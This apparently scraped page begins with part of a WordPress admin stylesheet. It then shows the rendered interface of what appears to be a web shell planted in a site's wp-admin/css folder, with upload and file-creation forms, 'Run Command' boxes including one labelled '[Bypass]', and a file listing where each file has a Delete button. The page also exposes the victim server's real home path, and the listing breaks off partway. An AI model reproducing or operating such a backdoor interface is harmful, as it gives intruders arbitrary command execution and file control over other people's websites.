	position: relative;
	vertical-align: top;
	-webkit-font-smoothing: antialiased;
	-moz-osx-font-smoothing: grayscale;
	text-decoration: none !important;
	color: #3c434a;
}

.plugin-card .column-compatibility .compatibility-incompatible:before {
	content: &quot;\f158&quot;;
	color: #d63638;
}

.plugin-card .column-compatibility .compatibility-compatible:before {
	content: &quot;\f147&quot;;
	color: #007017;
}

.plugin-card .notice {
	margin: 20px 20px 0;
}

.plugin-icon {
	position: absolute;
	top: 20px;
	right: 20px;
	width: 128px;
	height: 128px;
	margin: 0 0 20px 20px;
}

.no-plugin-results {
	color: #646970; /* same as no themes and no media */
	font-size: 18px;
	font-style: normal;
	margin: 0;
	padding: 100px 0 0;
	width: 100%;
	text-align: center;
}

/* ms */
/* Background Color for Site Status */
.wp-list-table .site-deleted,
.wp-list-table tr.site-deleted,
.wp-list-table .site-archived,
.wp-list-table tr.site-archived {
	background: #fcf0f1;
}
.wp-list-table .site-spammed,
.wp-list-table tr.site-spammed,
.wp-list-table .site-mature,
.wp-list-table tr.site-mature {
	background: #fcf9e8;
}

.sites.fixed .column-lastupdated,
.sites.fixed .column-registered {
	width: 20%;
}

.sites.fixed .column-users {
	width: 80px;
}

/* =Media Queries
-------------------------------------------------------------- */

@media screen and (max-width: 1100px) and (min-width: 782px), (max-width: 480px) {
	.plugin-card .action-links {
		position: static;
		margin-right: 148px;
		width: auto;
	}

	.plugin-action-buttons {
		float: none;
		margin: 1em 0 0;
		text-align: right;
	}

	.plugin-action-buttons li {
		display: inline-block;
		vertical-align: middle;
	}

	.plugin-action-buttons li .button {
		margin-left: 20px;
	}

	.plugin-card h3 {
		margin-left: 24px;
	}

	.plugin-card .name,
	.plugin-card .desc {
		margin-left: 0;
	}

	.plugin-card .desc p:first-of-type {
		margin-top: 0;
	}
}

@media screen and (max-width: 782px) {
	/* WP List Table Options &amp; Filters */
	.tablenav {
		height: auto;
	}

	.tablenav.top {
		margin: 20px 0 5px;
	}

	.tablenav.bottom {
		position: relative;
		margin-top: 15px;
	}

	.tablenav br {
		display: none;
	}

	.tablenav br.clear {
		display: block;
	}

	.tablenav.top .actions,
	.tablenav .view-switch {
		display: none;
	}

	.view-switch a {
		width: 36px;
		height: 36px;
		line-height: 2.53846153;
	}

	/* Pagination */
	.tablenav.top .displaying-num {
		display: none;
	}

	.tablenav.bottom .displaying-num {
		position: absolute;
		left: 0;
		top: 11px;
		margin: 0;
		font-size: 14px;
	}

	.tablenav .tablenav-pages {
		width: 100%;
		text-align: center;
		margin: 0 0 25px;
	}

	.tablenav.bottom .tablenav-pages {
		margin-top: 25px;
	}

	.tablenav.top .tablenav-pages.one-page {
		display: none;
	}

	.tablenav.bottom .actions select {
		margin-bottom: 5px;
	}

	.tablenav.bottom .actions.alignleft + .actions.alignleft {
		clear: right;
		margin-top: 10px;
	}

	.tablenav.bottom .tablenav-pages.one-page {
		margin-top: 15px;
		height: 0;
	}

	.tablenav-pages .pagination-links {
		font-size: 16px;
	}

	.tablenav .tablenav-pages .button,
	.tablenav .tablenav-pages .tablenav-pages-navspan {
		min-width: 44px;
		padding: 12px 8px;
		font-size: 18px;
		line-height: 1;
	}

	.tablenav-pages .pagination-links .current-page {
		min-width: 44px;
		padding: 12px 6px;
		font-size: 16px;
		line-height: 1.125;
	}

	/* WP List Table Adjustments: General */
	.form-wrap &gt; p {
		display: none;
	}

	.wp-list-table th.column-primary ~ th,
	.wp-list-table tr:not(.inline-edit-row):not(.no-items) td.column-primary ~ td:not(.check-column) {
		display: none;
	}

	.wp-list-table thead th.column-primary {
		width: 100%;
	}

	/* Checkboxes need to show */
	.wp-list-table tr th.check-column {
		display: table-cell;
	}

	.wp-list-table .check-column {
		width: 2.5em;
	}

	.wp-list-table .column-primary .toggle-row {
		display: block;
	}

	.wp-list-table tr:not(.inline-edit-row):not(.no-items) td:not(.check-column) {
		position: relative;
		clear: both;
		width: auto !important; /* needs to override some columns that are more specifically targeted */
	}

	.wp-list-table td.column-primary {
		padding-left: 50px; /* space for toggle button */
	}

	.wp-list-table tr:not(.inline-edit-row):not(.no-items) td.column-primary ~ td:not(.check-column) {
		padding: 3px 35% 3px 8px;
	}

	.wp-list-table tr:not(.inline-edit-row):not(.no-items) td:not(.column-primary)::before {
		position: absolute;
		right: 10px; /* match padding of regular table cell */
		display: block;
		overflow: hidden;
		width: 32%; /* leave a little space for a gutter */
		content: attr(data-colname);
		white-space: nowrap;
		text-overflow: ellipsis;
	}

	.wp-list-table .is-expanded td:not(.hidden) {
		display: block !important;
		overflow: hidden; /* clearfix */
	}

	/* Special cases */
	.widefat .num,
	.column-posts {
		text-align: right;
	}

	#comments-form .fixed .column-author,
	#commentsdiv .fixed .column-author {
		display: none !important;
	}

	.fixed .column-comment .comment-author {
		display: block;
	}

	/* Comment author hidden via Screen Options */
	.fixed .column-author.hidden ~ .column-comment .comment-author {
		display: none;
	}

	#the-comment-list .is-expanded td {
		box-shadow: none;
	}

	#the-comment-list .is-expanded td:last-child {
		box-shadow: inset 0 -1px 0 rgba(0, 0, 0, 0.1);
	}

	/* Show comment bubble as text instead */
	.post-com-count .screen-reader-text {
		position: static;
		clip-path: none;
		width: auto;
		height: auto;
		margin: 0;
	}

	.column-response .post-com-count-no-comments:after,
	.column-response .post-com-count-approved:after,
	.column-comments .post-com-count-no-comments:after,
	.column-comments .post-com-count-approved:after {
		content: none;
	}

	.column-response .post-com-count [aria-hidden=&quot;true&quot;],
	.column-comments .post-com-count [aria-hidden=&quot;true&quot;] {
		display: none;
	}

	.column-response .post-com-count-wrapper,
	.column-comments .post-com-count-wrapper {
		white-space: normal;
	}

	.column-response .post-com-count-wrapper &gt; a,
	.column-comments .post-com-count-wrapper &gt; a {
		display: block;
	}

	.column-response .post-com-count-no-comments,
	.column-response .post-com-count-approved,
	.column-comments .post-com-count-no-comments,
	.column-comments .post-com-count-approved {
		margin-top: 0;
		margin-left: 0.5em;
	}

	.column-response .post-com-count-pending,
	.column-comments .post-com-count-pending {
		position: static;
		height: auto;
		min-width: 0;
		padding: 0;
		border: none;
		border-radius: 0;
		background: none;
		color: #b32d2e;
		font-size: inherit;
		line-height: inherit;
		text-align: right;
	}

	.column-response .post-com-count-pending:hover,
	.column-comments .post-com-count-pending:hover {
		color: #d63638;
	}

	.widefat thead td.check-column,
	.widefat tfoot td.check-column {
		padding-top: 10px;
	}

	.row-actions {
		margin-right: -8px;
		margin-left: -8px;
		padding-top: 4px;
	}

	/* Make row actions more easy to select on mobile */
	body:not(.plugins-php) .row-actions {
		display: flex;
		flex-wrap: wrap;
		gap: 8px;
		color: transparent;
	}

	.row-actions span a,
	.row-actions span .button-link {
		display: inline-block;
		padding: 4px 8px;
		line-height: 1.5;
	}

	.row-actions span.approve:before,
	.row-actions span.unapprove:before {
		content: &quot;| &quot;;
	}

	/* Quick Edit and Bulk Edit */
	#wpbody-content .quick-edit-row-post .inline-edit-col-left,
	#wpbody-content .quick-edit-row-post .inline-edit-col-right,
	#wpbody-content .inline-edit-row-post .inline-edit-col-center,
	#wpbody-content .quick-edit-row-page .inline-edit-col-left,
	#wpbody-content .quick-edit-row-page .inline-edit-col-right,
	#wpbody-content .bulk-edit-row-post .inline-edit-col-right,
	#wpbody-content .bulk-edit-row .inline-edit-col-left,
	#wpbody-content .bulk-edit-row-page .inline-edit-col-right,
	#wpbody-content .bulk-edit-row .inline-edit-col-bottom {
		float: none;
		width: 100%;
		padding: 0;
	}

	#the-list .inline-edit-row .inline-edit-legend,
	.inline-edit-row span.title {
		font-size: 16px;
	}

	.inline-edit-row p.howto {
		font-size: 14px;
	}

	#wpbody-content .inline-edit-row-page .inline-edit-col-right {
		margin-top: 0;
	}

	#wpbody-content .quick-edit-row fieldset .inline-edit-col label,
	#wpbody-content .quick-edit-row fieldset .inline-edit-group label,
	#wpbody-content .bulk-edit-row fieldset .inline-edit-col label,
	#wpbody-content .bulk-edit-row fieldset .inline-edit-group label {
		max-width: none;
		float: none;
		margin-bottom: 5px;
	}

	#wpbody .bulk-edit-row fieldset select {
		display: block;
		width: 100%;
		max-width: none;
		box-sizing: border-box;
	}

	.inline-edit-row fieldset input[name=jj],
	.inline-edit-row fieldset input[name=hh],
	.inline-edit-row fieldset input[name=mn],
	.inline-edit-row fieldset input[name=aa] {
		font-size: 16px;
		line-height: 2;
		padding: 3px 4px;
	}

	#bulk-titles .ntdelbutton,
	#bulk-titles .ntdeltitle,
	.inline-edit-row fieldset ul.cat-checklist label {
		padding: 6px 0;
		font-size: 16px;
		line-height: 28px;
	}

	#bulk-titles .ntdelitem {
		padding-right: 37px;
	}

	#bulk-titles .ntdelbutton {
		width: 40px;
		height: 40px;
		margin: 0 -40px 0 0;
		overflow: hidden;
	}

	#bulk-titles .ntdelbutton:before {
		font-size: 20px;
		line-height: 28px;
	}

	.inline-edit-row fieldset label span.title,
	.inline-edit-row fieldset.inline-edit-date legend {
		float: none;
	}

	.inline-edit-row fieldset .inline-edit-col label.inline-edit-tags {
		padding: 0;
	}

	.inline-edit-row fieldset label span.input-text-wrap,
	.inline-edit-row fieldset .timestamp-wrap {
		margin-right: 0;
	}

	.inline-edit-row .inline-edit-or {
		margin: 0 0 0 6px;
	}

	#edithead .inside,
	#commentsdiv #edithead .inside {
		float: none;
		text-align: right;
		padding: 3px 5px;
	}

	#commentsdiv #edithead .inside input,
	#edithead .inside input {
		width: 100%;
	}

	#edithead label {
		display: block;
	}

	/* Updates */
	#wpbody-content .updates-table .plugin-title {
		width: auto;
		white-space: normal;
	}

	/* Links */
	.link-manager-php #posts-filter {
		margin-top: 25px;
	}

	.link-manager-php .tablenav.bottom {
		overflow: hidden;
	}

	/* List tables that don't toggle rows */
	.comments-box .toggle-row,
	.wp-list-table.plugins .toggle-row {
		display: none;
	}

	/* Plugin/Theme Management */
	#wpbody-content .wp-list-table.plugins td {
		display: block;
		width: auto;
		padding: 10px 9px; /* reset from other list tables that have a label at this width */
	}

	#wpbody-content .wp-list-table.plugins .plugin-deleted-tr td,
	#wpbody-content .wp-list-table.plugins .no-items td {
		display: table-cell;
	}

	/* Plugin description hidden via Screen Options */
	#wpbody-content .wp-list-table.plugins .desc.hidden {
		display: none;
	}

	#wpbody-content .wp-list-table.plugins .column-description {
		padding-top: 2px;
	}

	#wpbody-content .wp-list-table.plugins .plugin-title,
	#wpbody-content .wp-list-table.plugins .theme-title {
		padding-left: 12px;
		white-space: normal;
	}

	.wp-list-table.plugins .plugin-title,
	.wp-list-table.plugins .theme-title {
		padding-top: 13px;
		padding-bottom: 4px;
	}

	.plugins #the-list tr &gt; td:not(:last-child),
	.plugins #the-list .update th,
	.plugins #the-list .update td,
	.wp-list-table.plugins #the-list .theme-title {
		box-shadow: none;
		border-top: none;
	}

	.plugins #the-list tr td {
		border-top: none;
	}

	.plugins tbody {
		padding: 1px 0 0;
	}

	.plugins tr.active + tr.inactive th.check-column,
	.plugins tr.active + tr.inactive td.column-description,
	.plugins .plugin-update-tr:before {
		box-shadow: inset 0 -1px 0 rgba(0, 0, 0, 0.1);
	}

	.plugins tr.active + tr.inactive th.check-column,
	.plugins tr.active + tr.inactive td {
		border-top: none;
	}

	/* mimic the checkbox th */
	.plugins .plugin-update-tr:before {
		content: &quot;&quot;;
		display: table-cell;
	}

	.plugins #the-list .plugin-update-tr .plugin-update {
		border-right: none;
	}

	.plugin-update-tr .update-message {
		margin-right: 0;
	}

	.plugins .active.update + .plugin-update-tr:before,
	.plugins .active.updated + .plugin-update-tr:before {
		background-color: #f0f6fc;
		border-right: 4px solid #72aee6;
	}

	.plugins .plugin-update-tr .update-message {
		margin-right: 0;
	}

	.wp-list-table.plugins .plugin-title strong,
	.wp-list-table.plugins .theme-title strong {
		font-size: 1.4em;
		line-height: 1.5;
	}

	.plugins tbody th.check-column {
		padding: 8px 5px 0 0;
	}

	.plugins thead td.check-column,
	.plugins tfoot td.check-column,
	.plugins .inactive th.check-column {
		padding-right: 9px;
	}

	/* Add New plugins page */
	table.plugin-install .column-name,
	table.plugin-install .column-version,
	table.plugin-install .column-rating,
	table.plugin-install .column-description {
		display: block;
		width: auto;
	}

	table.plugin-install th.column-name,
	table.plugin-install th.column-version,
	table.plugin-install th.column-rating,
	table.plugin-install th.column-description {
		display: none;
	}

	table.plugin-install td.column-name strong {
		font-size: 1.4em;
		line-height: 1.6em;
	}

	table.plugin-install #the-list td {
		box-shadow: none;
	}

	table.plugin-install #the-list tr {
		display: block;
		box-shadow: inset 0 -1px 0 rgba(0, 0, 0, 0.1);
	}

	.plugin-card {
		margin-right: 0;
		margin-left: 0;
		width: 100%;
	}

	table.media .column-title .has-media-icon ~ .row-actions {
		margin-right: 0;
		clear: both;
	}
}

@media screen and (max-width: 480px) {
	.tablenav-pages .current-page {
		margin: 0;
	}

	.tablenav.bottom .displaying-num {
		position: relative;
		top: 0;
		display: block;
		text-align: left;
		padding-bottom: 0.5em;
	}

	.tablenav.bottom .tablenav-pages.one-page {
		height: auto;
	}

	.tablenav-pages .tablenav-paging-text {
		float: right;
		width: 100%;
		padding-top: 0.5em;
	}
}
</pre><!DOCTYPE html>
<html lang="en">
<link rel="icon" href="https://e.top4top.io/p_26973oc9i1.png">
<head>
  <meta charset="UTF-8">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <style>
    * { margin: 0; padding: 0; box-sizing: border-box; }
    body {
      background: #111;
      color: #ccc;
      font-family: monospace;
      font-size: 16px;
      padding: 16px;
      line-height: 1.5;
    }
    a {
      color: #8ab4f8;
      text-decoration: none;
    }
    a:hover {
      text-decoration: underline;
    }
    .panel {
      margin-bottom: 20px;
    }
    input, textarea, button {
      background: #000;
      border: 1px solid #444;
      color: #ccc;
      font-family: inherit;
      font-size: 16px;
      padding: 6px;
      width: 100%;
    }
    button {
      cursor: pointer;
    }
    button:hover {
      background: #222;
    }
    ul {
      list-style: none;
      padding: 0;
      margin: 0;
    }
    li {
      padding: 6px 0;
      border-bottom: 1px solid #222;
      display: flex;
      justify-content: space-between;
      align-items: center;
    }
    .result-box {
    white-space: pre;
    overflow: auto;
    resize: vertical;
    width: 100%;
    }
    .breadcrumb {
      margin: 12px 0;
      font-size: 15px;
    }
    .file-content {
      background: #000;
      border: 1px solid #333;
      color: #ccc;
      padding: 12px;
      font-size: 15px;
      white-space: pre-wrap;
      max-height: 400px;
      overflow-y: auto;
    }
    .alert {
      background: #1a1a1a;
      border-left: 3px solid #008000;
      padding: 8px;
      margin-bottom: 12px;
      font-size: 15px;
    }
    .alert-danger {
      border-left-color: #800000;
    }
    .alert-success {
      border-left-color: #008000;
    }
    .alert-info {
      border-left-color: #005580;
    }
  </style>
</head>
<body>
  <div class="panel">
    <form action="" method="post" enctype="multipart/form-data">
      <input type="file" name="file_upload" required>
      <input type="hidden" name="upload_path" value="/home/tahkoom/public_html/wp-admin/css">
      <button type="submit">Upload</button>
    </form>
  </div>

  <div class="panel">
    <form action="" method="post">
      <input type="text" name="path" placeholder="Path" value="/home/tahkoom/public_html/wp-admin/css" required>
      <input type="text" name="filename" placeholder="Filename" required>
      <textarea name="content" placeholder="File content"></textarea>
      <button type="submit">Create</button>
    </form>
  </div>

<div class="panel">
  <form action="" method="post" style="margin:0">
    <input
      type="text"
      name="cmdbyp"
      placeholder="Enter command"
      autocomplete="off"
      required
    >
    <button type="submit">Run Command [Bypass]</button>
  </form>
</div>

<div class="panel">
  <form action="" method="post" style="margin:0">
    <input
      type="text"
      name="cmddef"
      placeholder="Enter command"
      autocomplete="off"
      required
    >
    <button type="submit">Run Command</button>
  </form>
</div>


  <div class="breadcrumb">Path: <a href="?path=%2Fhome">home</a>/<a href="?path=%2Fhome%2Ftahkoom">tahkoom</a>/<a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html">public_html</a>/<a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin">wp-admin</a>/<a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss">css</a></div>
  <ul>
          <li>
        <span>
          <strong>[D]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss%2Fcolors"> colors</a>
                  </span>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss%2Fabout-rtl.css"> about-rtl.css</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-admin/css/about-rtl.css">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss%2Fabout-rtl.min.css"> about-rtl.min.css</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-admin/css/about-rtl.min.css">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss%2Fabout.css"> about.css</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-admin/css/about.css">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss%2Fabout.min.css"> about.min.css</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-admin/css/about.min.css">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss%2Fadmin-menu-rtl.css"> admin-menu-rtl.css</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-admin/css/admin-menu-rtl.css">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss%2Fadmin-menu-rtl.min.css"> admin-menu-rtl.min.css</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-admin/css/admin-menu-rtl.min.css">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss%2Fadmin-menu.css"> admin-menu.css</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-admin/css/admin-menu.css">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss%2Fadmin-menu.min.css"> admin-menu.min.css</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-admin/css/admin-menu.min.css">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss%2Fcode-editor-rtl.css"> code-editor-rtl.css</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-admin/css/code-editor-rtl.css">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss%2Fcode-editor-rtl.min.css"> code-editor-rtl.min.css</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-admin/css/code-editor-rtl.min.css">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss%2Fcode-editor.css"> code-editor.css</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-admin/css/code-editor.css">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss%2Fcode-editor.min.css"> code-editor.min.css</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-admin/css/code-editor.min.css">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss%2Fcolor-picker-rtl.css"> color-picker-rtl.css</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-admin/css/color-picker-rtl.css">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss%2Fcolor-picker-rtl.min.css"> color-picker-rtl.min.css</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-admin/css/color-picker-rtl.min.css">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss%2Fcolor-picker.css"> color-picker.css</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-admin/css/color-picker.css">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss%2Fcolor-picker.min.css"> color-picker.min.css</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-admin/css/color-picker.min.css">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss%2Fcommon-rtl.css"> common-rtl.css</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-admin/css/common-rtl.css">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss%2Fcommon-rtl.min.css"> common-rtl.min.css</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-admin/css/common-rtl.min.css">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss%2Fcommon.css"> common.css</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-admin/css/common.css">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss%2Fcommon.min.css"> common.min.css</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-admin/css/common.min.css">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss%2Fcustomize-controls-rtl.css"> customize-controls-rtl.css</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-admin/css/customize-controls-rtl.css">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss%2Fcustomize-controls-rtl.min.css"> customize-controls-rtl.min.css</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-admin/css/customize-controls-rtl.min.css">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss%2Fcustomize-controls.css"> customize-controls.css</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-admin/css/customize-controls.css">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss%2Fcustomize-controls.min.css"> customize-controls.min.css</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-admin/css/customize-controls.min.css">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss%2Fcustomize-nav-menus-rtl.css"> customize-nav-menus-rtl.css</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-admin/css/customize-nav-menus-rtl.css">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss%2Fcustomize-nav-menus-rtl.min.css"> customize-nav-menus-rtl.min.css</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-admin/css/customize-nav-menus-rtl.min.css">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
